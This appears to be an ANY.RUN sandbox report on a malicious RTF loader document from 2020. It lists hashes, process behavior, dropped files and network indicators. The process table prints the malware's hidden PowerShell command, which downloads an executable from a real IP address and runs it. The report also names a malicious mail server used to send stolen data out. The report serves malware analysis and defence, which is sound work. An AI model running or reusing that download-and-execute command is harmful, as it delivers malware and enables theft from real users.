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File name:

15359ee49d9cf4beaceb3df5f32d3bdeab4fad5c

Full analysis: https://app.any.run/tasks/b5a3b67e-259f-4981-8ea1-218681c9c693
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: March 31, 2020, 08:24:44
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
maldoc-13
loader
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

527142E25A8229D1DC910AF23CDB5256

SHA1:

15359EE49D9CF4BEACEB3DF5F32D3BDEAB4FAD5C

SHA256:

A02848EC22BD6CAC61258BF9C83A8FECEB4CA5F3F6B828CC47A2E44A14A34ABF

SSDEEP:

1536:malSTPxyjtHv9YH9lH6o0LKkRVOWbUx9dE6mQgaeeVhMDw5wfL2:ml27aRDAw5wfa

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Requests a remote executable file from MS Office

      • WINWORD.EXE (PID: 3884)

    • Executable content was dropped or overwritten

      • WINWORD.EXE (PID: 3884)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3884)

    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 3884)

    • Downloads executable files from IP

      • WINWORD.EXE (PID: 3884)
      • PowerShell.exe (PID: 3508)

    • Downloads executable files from the Internet

      • PowerShell.exe (PID: 3508)

    • Application was dropped or rewritten from another process

      • chme.exe (PID: 4076)
      • chme.exe (PID: 2748)

    • Writes to a start menu file

      • chme.exe (PID: 4076)

    • Actions looks like stealing of personal data

      • chme.exe (PID: 2748)

  • SUSPICIOUS

    • Creates files in the program directory

      • WINWORD.EXE (PID: 3884)

    • Creates files in the user directory

      • PowerShell.exe (PID: 3508)
      • PowerShell.exe (PID: 2464)
      • chme.exe (PID: 4076)

    • Executable content was dropped or overwritten

      • PowerShell.exe (PID: 3508)

    • Application launched itself

      • chme.exe (PID: 4076)

    • Reads Environment values

      • chme.exe (PID: 2748)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3884)

    • Reads Internet Cache Settings

      • WINWORD.EXE (PID: 3884)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3884)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
5
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe powershell.exe powershell.exe no specs chme.exe chme.exe

Process information

PID
CMD
Path
Indicators
Parent process
3884"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\15359ee49d9cf4beaceb3df5f32d3bdeab4fad5c.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3508PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://5.189.132.254/yUtro.exe','C:\Users\admin\AppData\Roaming\chme.exe');Start-Process 'C:\Users\admin\AppData\Roaming\chme.exe'"C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2464PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://5.189.132.254/yUtro.exe','C:\Users\admin\AppData\Roaming\chme.exe');Start-Process 'C:\Users\admin\AppData\Roaming\chme.exe'"C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
4076"C:\Users\admin\AppData\Roaming\chme.exe" C:\Users\admin\AppData\Roaming\chme.exe
PowerShell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
FcelI
Exit code:
0
Version:
2.1.1.1
2748"C:\Users\admin\AppData\Roaming\chme.exe"C:\Users\admin\AppData\Roaming\chme.exe
chme.exe
User:
admin
Integrity Level:
MEDIUM
Description:
FcelI
Version:
2.1.1.1
Total events
2 167
Read events
1 946
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
4
Text files
4
Unknown types
6

Dropped files

PID
Process
Filename
Type
3884WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR6AE7.tmp.cvr —
MD5:—
SHA256:—
3884WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F2274E0.png —
MD5:—
SHA256:—
3508PowerShell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\352GMBBRHV6IOTMGAVSX.temp —
MD5:—
SHA256:—
2464PowerShell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U2YE19VDPJJJSOQXVUWU.temp —
MD5:—
SHA256:—
3884WINWORD.EXEC:\Users\admin\Desktop\~$359ee49d9cf4beaceb3df5f32d3bdeab4fad5c.rtfpgc
MD5:C4B4E092D74062227FF303C7992AA6D9
SHA256:BE53AE3FD4D71A314433B325B50895CD634B102EA5559042A32F9D73A6E81795
3884WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:477916EFB88A373723F281B8A9BC2EA4
SHA256:F8C4753F90B6CCCCFB7FC260ACCB0BA935A8E56898FCB3BBF10845FF3B8EE27B
3884WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\15359ee49d9cf4beaceb3df5f32d3bdeab4fad5c.rtf.LNKlnk
MD5:5FE678DDD2FA71B83A439C59A655F0B9
SHA256:7AF2B3ABF80DC2C7F8BA61F237AA79F221CE783A6EF7BFDC071DCEAAD0864F1B
3884WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:D6BF6CE7FB586A7BD1D315762BA4DADC
SHA256:26C5BA6F484DF4626997FE9345DEACD81606CDA665FC6EB72531A0F9CBB9A173
3884WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Abctfhghghghgh£.scThtml
MD5:764096EB93263886B5EC28EF83837D63
SHA256:702B970373303492E4789254E72A78D92A944A840BC71D0B72D5D12EA5158432
3884WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\78RFYB7Z\yUtro[1].exeexecutable
MD5:7B6A62D0B81D307A71A025500754ED28
SHA256:A1F8429D0E0750461E796507148F39535FBF28710D45DD5FC90691235B078271
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3508
PowerShell.exe
GET
200
5.189.132.254:80
http://5.189.132.254/yUtro.exe
DE
executable
426 Kb
suspicious
3884
WINWORD.EXE
GET
200
5.189.132.254:80
http://5.189.132.254/yUtro.exe
DE
executable
426 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3508
PowerShell.exe
5.189.132.254:80
—
Contabo GmbH
DE
suspicious
—
—
5.189.132.254:80
—
Contabo GmbH
DE
suspicious
2748
chme.exe
162.241.27.33:587
mail.novaa-ship.com
CyrusOne LLC
US
malicious

DNS requests

Domain
IP
Reputation
mail.novaa-ship.com
  • 162.241.27.33
malicious

Threats

PID
Process
Class
Message
3884
WINWORD.EXE
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
3508
PowerShell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
No debug info
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15359ee49d9cf4beaceb3df5f32d3bdeab4fad5c